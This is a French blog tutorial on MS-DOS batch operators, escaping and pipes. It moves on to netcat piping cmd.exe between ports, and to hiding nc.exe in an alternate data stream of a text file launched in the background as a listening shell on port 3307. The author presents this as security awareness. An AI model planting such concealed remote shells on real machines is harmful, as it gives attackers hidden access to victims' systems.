Le langage de programmation MSDOS est un peu particulier, c'est un langage interprété, cependant il peut lancer des programmes en tâches de fond. A l'origine il a été fait pour automatiser les tâches trop répétitives, grâce à son environnement console, il permet d'utiliser des programmes fait en C dans un environnement limité à la console, l'énorme avantage est que si le programme plante alors seule la console plante. Nous allons donc essayé de tirer parti de ces avantages.





Contrairement à ce que pensent certain MSDOS est un langage puissant (tout de même incomparable au Bash sous Linux). Il est possible d'effectuer plusieurs actions sous conditions, comme il est possible de rediriger la sortie vers une autre application à travers un canal (= pipe, le caractère "|"). Tout les symboles ont un sens particulier et certains même s'accouplent pour donner naissance à un nouveau sens (quelle métaphore :) ). Par exemple le symbole éperluette : "&" est soit un opérateur logique ET soit une condition d'éxecution ET. Voici un exemple pour expliquer ceci, car la nuance est assez subtile. En fait le "&" va permettre de mettre le résultat dans ERRORLEVEL alors que le "&&" éxecutera en fonction de la valeur retournée dans ERRORLEVEL par l'appel précédent.


REM -- La commande ping -n 1 127.0.0.1 | find "TEST"
REM -- ne renvoie rien, car le message TEST n'est pas contenu dans la réponse
REM -- de la commande. 
 
ping -n 1 127.0.0.1 | find "TEST" & ping -n 1 127.0.0.1 | find "TTL"      
 
REM -- cette commande affichera: 
REM -- C:/> Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128
 
REM -- on a donc ERRORLEVEL qui vaut: 
 
echo %ERRORLEVEL%
REM -- C:/> 1
 
 
REM -- Maintenant on double l'éperluette, l'ensemble de la commande ne renvoie rien
REM -- car la première s'est effectué en retournant le niveau d'erreur 1 
 
ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL"     
 
REM -- cette commande n'affichera rien et ERRORLEVEL vaut:
 
echo %ERRORLEVEL%
REM -- C:/> 0
 


Maintenant une question qui peut paraître étrange, comment fait-on pour afficher la commande que nous venons de taper, car si on fait:


echo ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL" 


Rien ne s'affiche et s'il n'y a qu'un "&" alors on ne voit la réponse que de la deuxième commande:


ping -n 1 127.0.0.1 | find "TTL" 


Pour cela il suffit d'utiliser le symbole "^", CIRCONFLEXE. Ce symbole permet l'échappement des caractères. Seul il demande une autre chaîne de caractère ou bien la suite des paramètres d'une commande. Dans l'exemple ci-dessous, nous allons l'utiliser pour permettre à notre commande ping d'éffectuer 3 requêtes (le paramètre "-n 3") au lieu de 4.


REM -- Nous saisissons: 
C:/> ping 127.0.0.1 ^
 
REM -- L'invité de commande affiche:
Plus ?      
 
REM -- Nous saisissons: 
-n 3
 
REM -- L'invité de commande affiche le résultat:
Envoi d'une requ&ecirc;te 'ping' sur 127.0.0.1 avec 32 octets de données :
 
Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128
Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128
Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128
 
Statistiques Ping pour 127.0.0.1:
    Paquets : envoyés = 3, reçus = 3, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 0ms, Maximum = 0ms, Moyenne = 0ms
 


Le caractère d'échappement sous MSDOS est le circonflexe ^. N'ont pas besoin d'être échappé puisque pour MSDOS c'est un caractère affichage. echo "Hello World! affichera "Hello World!" avec les guillemets.



REM -- Nous saisissons: 
C:/> echo ping -n 1 127.0.0.1 ^| find "TEST" ^&^& ping -n 1 127.0.0.1 ^| find "TTL"
 
REM -- L'invité de commande affiche le résultat:
ping -n 1 127.0.0.1 | find "TEST" && ping -n 1 127.0.0.1 | find "TTL"
 




Le PIPE est un mot anglais signifiant tuyau, tube (et même pipe, la pipe à fumer bien sûr !!) il sert donc à canaliser les données d'un point à un autre. Pour que cet opérateur soit fonctionnel il faut que le programme numéro 2 soit Schématiquement ça ressemble à ça:


PROGRAMME NUMERO 1           |     PROGRAMME NUMERO 2
données en sortie          =====>  données en entrée 
Le programme numéro 2 reçoit la sortie du programme numéro 1
Le programme numéro 1 envoie sa sortie au programme numéro 2 
Ce qui signifie à peu de choses près la m&ecirc;me chose
 
 
ECHO "Ceci est un test"      |     FIND "cela"
"Ceci est un test"          ===>  
 
REM -- "cela" est la cha&icirc;ne de caractère à travailler par le programme FIND
REM -- cette commande n'affichera donc rien. 

S'il est vrai que sous Windows le PIPE se limite souvent à un FIND ; mais avec des outils spécifiques, comme NETCAT il est possible de faire des choses intéressantes:


nc -l -L -p 4444 | cmd | nc -l -L -p 5555 


Cette commande va faire les choses suivantes:
- Ecouter sur le port 4444
- Lancer CMD.EXE
- Ecouter sur le port 5555
de cette manière ci:


 
 
nc -l -L -p 4444  |            cmd           | nc -l -L -p 5555
 
COMMANDES ENTREES | INVITE DE COMMANDE MSDOS | COMMANDES SORTIES
 
 

Du coup pour exploiter cette commande il faut:
- Ouvrir une autre console MSDOS, et se connecter sur le port 4444, c'est de là que seront envoyées les données
+ Les données envoyées seront donc dirigées vers l'invité de commande MSDOS, qui renverra donc ce qu'il doit afficher sur le port en écoute 5555
- Il faut donc ouvrir une autre console MSDOS et se connecter sur le port 5555 pour voir le résultat de la commande lancée sur le port 4444
de cette manière ci:


 
 
nc -l -L -p 4444  |            cmd           | nc -l -L -p 5555
 
dir               |  interprète la commande  | affiche le résultat
 
 

 [ Console #1 ] 
---------------
nc -l -L -p 4444 | cmd | nc -l -L -p 5555
 
 [ Console #2 ] 
---------------
nc 127.0.0.1 4444
date /T
 
 [ Console #3 ] 
---------------
nc 127.0.0.1 5555
 
Microsoft Windows XP  [version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp.
 
C:/>date /T
25/07/2007
 
C:/>
 




Dans Windows, les flux peuvent être simplement des données à envoyer vers un périphérique ou un programme, mais il peut également s'agir d'un flux alternatif. Les flux alternatifs donnaient naissance à une époque à des sites internet cachés, ces sites cachés étaient implémentés sur des serveurs IIS (Microsoft). Les anti-virus modernes scanne désormais les flux alternatifs ou ADS : Alternate Data Stream. Effectivement grâce -ou- à cause de ces ADS, on peut cacher un programme dans un autre:


type c:/windows/system32/notepad.exe > c:/windows/system32/calc.exe:blocnote.exe
start c:/windows/system32/calc.exe:blocnote.exe 

Avec cet exemple on lance le bloc-note à partir de la calculatrice, ce qui a peu d'interêt, mais cela met bien en valeur le danger que représente les ADS:


echo "Salut c'est un message rien que pour toi !" > c:/message.txt
type c:/netcat/nc.exe > c:/message.txt:netcat.exe
start /B c:/message.txt:netcat.exe -l -L -p 3307 -e cmd.exe 

Cette fois-ci nous avons créer dans un premier temps un fichier texte, puis nous avons copier le contenu de netcat dedans, que nous lancerons en arrière plan de manière à ce que si on se connecte sur la machine sur le port 3307 nous avons un invité de commandes MSDOS. Nous pouvons bien voir le port en écoute sur la machine:


netstat -an
 
Affiche: 
TCP    0.0.0.0:3307           0.0.0.0:0              LISTENING 

Les fluxs peuvent avoir une tout autre forme, il est également possible de demander à l'utilisateur d'intervenir en demandant une information, il s'agit donc d'un flux entrant grâce à la commande SET, ici nous allons vérifier qu'une machine n'a pas de ports ouverts et accessibles de l'extérieur:


REM -- SET /P permet à l'utilisateur de saisir l'information.
SET /P ADRESSE_IP="Quel est votre adresse IP ?"
 
REM -- NUL est une sortie dans laquelle rien n'est gardé, permet de masquer l'affichage d'un programme
netstat -an | find /V "%ADRESSE_IP%" | find /V "127.0.0.1" | find "LISTENING" > NUL
 
REM -- S'il n'y a pas d'erreur c'est que la commande s'est bien exécutée il y a donc des ports
REM -- ouverts, on avertit l'utilisateur et on les affiche
if %ERRORLEVEL%==0 DO (
echo Voici les ports ouvert sur %COMPUTERNAME% d'adresse IP %ADRESSE_IP% :
netstat -an | find /V "%ADRESSE_IP%" | find "0.0.0.0:0" | find "LISTENING"
)
 
REM -- L'erreur a été initialisée à 1, rien ne s'affiche, il n'y a donc pas de ports ouverts.
if %ERRORLEVEL%==1 DO echo Il n'y a aucun ports ouvert sur %COMPUTERNAME% 




Le but de ce tutorial est de sensibiliser sur la sécurité, choisissez bien votre antivirus - il doit scanner les flux alternatifs. NetCat est considéré comme un virus, mais il est très probable de le trouver sous des formes différentes, packé ou même crypté, il faut être vigilant au comportement du système. Cet article peut également être très utile pour l'administration d'un parc informatique, notamment pour les scripts de login.




   =>   Écrit par : Nicolas, le 06 octobre 2007


 
Mots clés :  
  network 
  
  batch 
  
  windows 
  
  msdos 
    >   Articles connexes :

GitVuln

GitVuln


HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...


Comment gagner du temps sur Internet

Comment gagner du temps sur Internet



Durcissement de Windows

Durcissement de Windows



Création de logs

Création de logs


1009389